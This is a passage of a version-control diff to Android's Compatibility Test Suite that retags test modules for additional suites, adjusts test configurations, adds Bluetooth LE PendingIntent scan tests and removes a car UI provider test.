LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
@@ -75,7 +75,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 9b7d774..6aa818e 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 9b9ed84..218ed6b 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsAssistService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/assist/testapp/Android.mk b/tests/tests/assist/testapp/Android.mk
index f21fc39..f179ec3 100644
--- a/tests/tests/assist/testapp/Android.mk
+++ b/tests/tests/assist/testapp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsAssistApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 37791ce..c5a98aa 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk
@@ -34,7 +34,7 @@
LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 0330032..33e20ea 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for background restrictions CTS test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsBackgroundRestrictionsTestCases.apk" />
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index efd7e93..5016e33 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -112,11 +112,20 @@
private_namespace_libs/libnstest_root.so \
public_namespace_libs/libnstest_public.so \
public_namespace_libs/libnstest_public_internal.so \
+ ld_preload_test_helper/ld_preload_test_helper \
+ ld_preload_test_helper_lib1.so \
+ ld_preload_test_helper_lib2.so \
+ ld_config_test_helper/ld_config_test_helper \
+ ns2/ld_config_test_helper_lib1.so \
+ ns2/ld_config_test_helper_lib2.so \
+ ld_config_test_helper_lib3.so \
# These libraries are not built for mips.
my_bionic_testlib_files_non_mips := \
libgnu-hash-table-library.so \
libtest_ifunc.so \
+ libtest_ifunc_variable.so \
+ libtest_ifunc_variable_impl.so \
my_bionic_testlibs_src_dir := \
$($(cts_bionic_tests_2nd_arch_prefix)TARGET_OUT_DATA_NATIVE_TESTS)/bionic-loader-test-libs
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 6c4009c..00448f3 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -39,15 +39,17 @@
LOCAL_CXX_STL := libc++_static
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.bionic
cts_bionic_tests_2nd_arch_prefix :=
include $(LOCAL_PATH)/Android.build.copy.libs.mk
-ifneq ($(TARGET_2ND_ARCH),)
- cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
- include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ifneq ($(TARGET_TRANSLATE_2ND_ARCH),true)
+ ifneq ($(TARGET_2ND_ARCH),)
+ cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
+ include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ endif
endif
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index c02b23d..1af4a3f 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JAVA_LIBRARIES += android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -32,6 +32,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 45718a3..4eb9cd9 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -25,6 +25,7 @@
<application>
<uses-library android:name="android.test.runner" />
+ <receiver android:name=".BluetoothScanReceiver" />
</application>
<!-- This is a self-instrumenting test package. -->
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 971d011..04f7f36 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Bluetooth test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="bluetooth" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index c81a4c2..7a644c1 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -16,8 +16,10 @@
package android.bluetooth.cts;
+import android.app.PendingIntent;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
+import android.bluetooth.cts.BluetoothScanReceiver;
import android.bluetooth.le.BluetoothLeScanner;
import android.bluetooth.le.ScanCallback;
import android.bluetooth.le.ScanFilter;
@@ -25,6 +27,7 @@
import android.bluetooth.le.ScanResult;
import android.bluetooth.le.ScanSettings;
import android.content.Context;
+import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.ParcelUuid;
import android.os.SystemClock;
@@ -255,6 +258,55 @@
verifyTimestamp(results, 0, scanEndMillis);
}
+ /**
+ * Test case for starting a scan with a PendingIntent.
+ */
+ @MediumTest
+ public void testStartScanPendingIntent_nullnull() throws Exception {
+ if (!isBleSupported() || !isBleBatchScanSupported()) {
+ Log.d(TAG, "BLE or BLE batching not suppported");
+ return;
+ }
+ Intent broadcastIntent = new Intent();
+ broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+ CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+ mScanner.startScan(null, null, pi);
+ boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+ mScanner.stopScan(pi);
+ assertTrue("Scan results not received", gotResults);
+ }
+
+ /**
+ * Test case for starting a scan with a PendingIntent.
+ */
+ @MediumTest
+ public void testStartScanPendingIntent() throws Exception {
+ if (!isBleSupported() || !isBleBatchScanSupported()) {
+ Log.d(TAG, "BLE or BLE batching not suppported");
+ return;
+ }
+ ScanSettings batchScanSettings = new ScanSettings.Builder()
+ .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
+ .setReportDelay(0).build();
+ ScanFilter filter = createScanFilter();
+ ArrayList<ScanFilter> filters = null;
+ if (filter != null) {
+ filters = new ArrayList<>();
+ filters.add(filter);
+ } else {
+ Log.d(TAG, "Could not add a filter");
+ }
+ Intent broadcastIntent = new Intent();
+ broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+ CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+ mScanner.startScan(filters, batchScanSettings, pi);
+ boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+ mScanner.stopScan(pi);
+ assertTrue("Scan results not received", gotResults);
+ }
+
// Verify timestamp of all scan results are within [scanStartMillis, scanEndMillis].
private void verifyTimestamp(Collection<ScanResult> results, long scanStartMillis,
long scanEndMillis) {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
new file mode 100644
index 0000000..1e910a8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.le.BluetoothLeScanner;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+public class BluetoothScanReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "BluetoothScanReceiver";
+
+ private static CountDownLatch sCountDownLatch;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received scan results:" + intent);
+ Log.i(TAG, "ScanResults = " + intent.getParcelableArrayListExtra(
+ BluetoothLeScanner.EXTRA_LIST_SCAN_RESULT));
+ Log.i(TAG, "Callback Type = "
+ + intent.getIntExtra(BluetoothLeScanner.EXTRA_CALLBACK_TYPE, -1));
+ Log.i(TAG, "Error Code = "
+ + intent.getIntExtra(BluetoothLeScanner.EXTRA_ERROR_CODE, -1));
+ if (sCountDownLatch != null) {
+ sCountDownLatch.countDown();
+ sCountDownLatch = null;
+ }
+ }
+
+ public static CountDownLatch createCountDownLatch() {
+ sCountDownLatch = new CountDownLatch(1);
+ return sCountDownLatch;
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 7a8296c..18ae49e 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,13 +25,15 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 384d1b8..9169b79 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Calendar test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCalendarcommon2TestCases.apk" />
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index cebd099..db12143 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,14 +24,14 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
LOCAL_JAVA_LIBRARIES := android.car
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 0516a87..c931169 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Automotive test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="auto" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java b/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
deleted file mode 100644
index 4dcccde..0000000
--- a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.car.cts;
-
-import android.car.app.menu.CarMenuCallbacks;
-import android.car.app.menu.SearchBoxEditListener;
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.view.View;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Test the existence of compatibility apis in the car ui provider.
- *
- * This test will only be run on devices with automotive feature.
- */
-
-@SmallTest
-@RequiresDevice
-public class CarUiProviderTest extends AndroidTestCase {
- private static final String TAG = "CarUiProviderTest";
- private static final String UI_ENTRY_CLASS_NAME = ".CarUiEntry";
- private static final String CAR_UI_PROVIDER_PKG = "android.car.ui.provider";
-
- private static final Map<String, Class<?>[]> COMPATIBILITY_APIS =
- new HashMap<String, Class<?>[]>();
-
- static {
- COMPATIBILITY_APIS.put("onStart", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onResume", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onPause", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onStop", new Class<?>[]{});
- COMPATIBILITY_APIS.put("getContentView", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setCarMenuCallbacks", new Class<?>[]{CarMenuCallbacks.class});
- COMPATIBILITY_APIS.put("getFragmentContainerId", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setBackground", new Class<?>[]{Bitmap.class});
- COMPATIBILITY_APIS.put("hideMenuButton", new Class<?>[]{});
- COMPATIBILITY_APIS.put("restoreMenuDrawable", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setMenuProgress", new Class<?>[]{float.class});
- COMPATIBILITY_APIS.put("setScrimColor", new Class<?>[]{int.class});
- COMPATIBILITY_APIS.put("setTitle", new Class<?>[]{CharSequence.class});
- COMPATIBILITY_APIS.put("setTitleText", new Class<?>[]{CharSequence.class});
- COMPATIBILITY_APIS.put("closeDrawer", new Class<?>[]{});
- COMPATIBILITY_APIS.put("openDrawer", new Class<?>[]{});
- COMPATIBILITY_APIS.put("showMenu", new Class<?>[]{String.class, String.class});
- COMPATIBILITY_APIS.put("setMenuButtonColor", new Class<?>[]{int.class});
- COMPATIBILITY_APIS.put("showTitle", new Class<?>[]{});
- COMPATIBILITY_APIS.put("hideTitle", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setLightMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setDarkMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setAutoLightDarkMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onRestoreInstanceState", new Class<?>[]{Bundle.class});
- COMPATIBILITY_APIS.put("onSaveInstanceState", new Class<?>[]{Bundle.class});
- COMPATIBILITY_APIS.put("showSearchBox", new Class<?>[]{View.OnClickListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxEndView", new Class<?>[]{View.class});
- COMPATIBILITY_APIS.put("getSearchBoxText", new Class<?>[]{});
- COMPATIBILITY_APIS.put("showToast", new Class<?>[]{String.class, long.class});
- COMPATIBILITY_APIS.put("stopInput", new Class<?>[]{});
- COMPATIBILITY_APIS.put("startInput", new Class<?>[]{String.class,
- View.OnClickListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxEditListener",
- new Class<?>[]{SearchBoxEditListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxColors", new Class<?>[]{int.class, int.class, int.class,
- int.class});
- }
-
- private boolean mIsCar = false;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mIsCar = getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_AUTOMOTIVE
- );
- }
-
- public void testCarUiProvider() throws Exception {
- if (!mIsCar) {
- Log.d(TAG, "Bypass CarUiProviderTest on non-automotive devices");
- return;
- }
- checkCompatibilityApi();
- }
-
- private void checkCompatibilityApi() {
- List<String> missingApis = new ArrayList<String>();
- Class<?> loadedClass = null;
- try {
- Context carUiContext = getContext().createPackageContext(
- CAR_UI_PROVIDER_PKG,
- Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
-
- int flag = getContext().getPackageManager()
- .getApplicationInfo(CAR_UI_PROVIDER_PKG, 0).flags;
- assertEquals(true, (flag & ApplicationInfo.FLAG_SYSTEM) != 0
- || (flag & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0);
-
- ClassLoader classLoader = carUiContext.getClassLoader();
- loadedClass = classLoader.loadClass(CAR_UI_PROVIDER_PKG + UI_ENTRY_CLASS_NAME);
- } catch (PackageManager.NameNotFoundException e) {
- fail("CarUiProvider package does not exsit");
- } catch (ClassNotFoundException e) {
- fail("CarUiEntry class not found");
- }
-
- if (loadedClass == null) {
- fail("Fail to load CarUiEntry class");
- }
-
- for (Map.Entry<String, Class<?>[]> method : COMPATIBILITY_APIS.entrySet()) {
- try {
- loadedClass.getDeclaredMethod(method.getKey(), method.getValue());
- } catch (NoSuchMethodException e) {
- missingApis.add(method.getKey());
- }
- }
- assertEquals("Missing the following APIs from CarUiProvider"
- + Arrays.toString(missingApis.toArray()), 0, missingApis.size());
- }
-}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 298c6ab..954ae14 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -33,7 +33,7 @@
LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES += android.test.runner telephony-common
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index f966096..e46d53a 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Carrier APIs test cases">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
<option name="token" value="sim-card-with-certs" />
</target_preparer>
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index d187069..a506fa5 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -24,12 +24,12 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsColorModeTestCases
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index c43a5d2..9c09038 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Color Mode test cases">
<option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsColorModeTestCases.apk" />
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
index 06273eb..4d076f8 100644
--- a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -30,6 +30,7 @@
import org.junit.runner.RunWith;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -53,5 +54,7 @@
Window window = mActivity.getWindow();
assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, window.getAttributes().getColorMode());
+
+ assertFalse(window.isWideColorGamut());
}
}
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index b7bd687..d843256 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -30,12 +30,11 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- $(call all-java-files-under, common/src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index a7a3716..b12398b 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Provider test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContactsProviderWipe.apk" />
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index c160572..df811f9 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -52,7 +52,7 @@
LOCAL_PACKAGE_NAME := CtsContentTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index f9a5915..b191a11 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -28,6 +28,7 @@
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.BROADCAST_STICKY" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.content.cts.permission.TEST_GRANTED" />
<!-- Used for PackageManager test, don't delete this INTERNET permission -->
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index d16f992..5cab0ac 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -14,11 +14,25 @@
limitations under the License.
-->
<configuration description="Config for CTS Content test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
+ <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+ </target_preparer>
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContentTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.content.cts" />
<option name="runtime-hint" value="21m30s" />
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
new file mode 100644
index 0000000..ea4d35a
--- /dev/null
+++ b/tests/tests/content/emptytestapp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsContentEmptyTestApp
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/AndroidManifest.xml b/tests/tests/content/emptytestapp/AndroidManifest.xml
new file mode 100644
index 0000000..88bc06c
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.cts.emptytestapp" >
+ <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/res/drawable/drawable_recursive.xml b/tests/tests/content/res/drawable/drawable_recursive.xml
new file mode 100644
index 0000000..ea9f969
--- /dev/null
+++ b/tests/tests/content/res/drawable/drawable_recursive.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
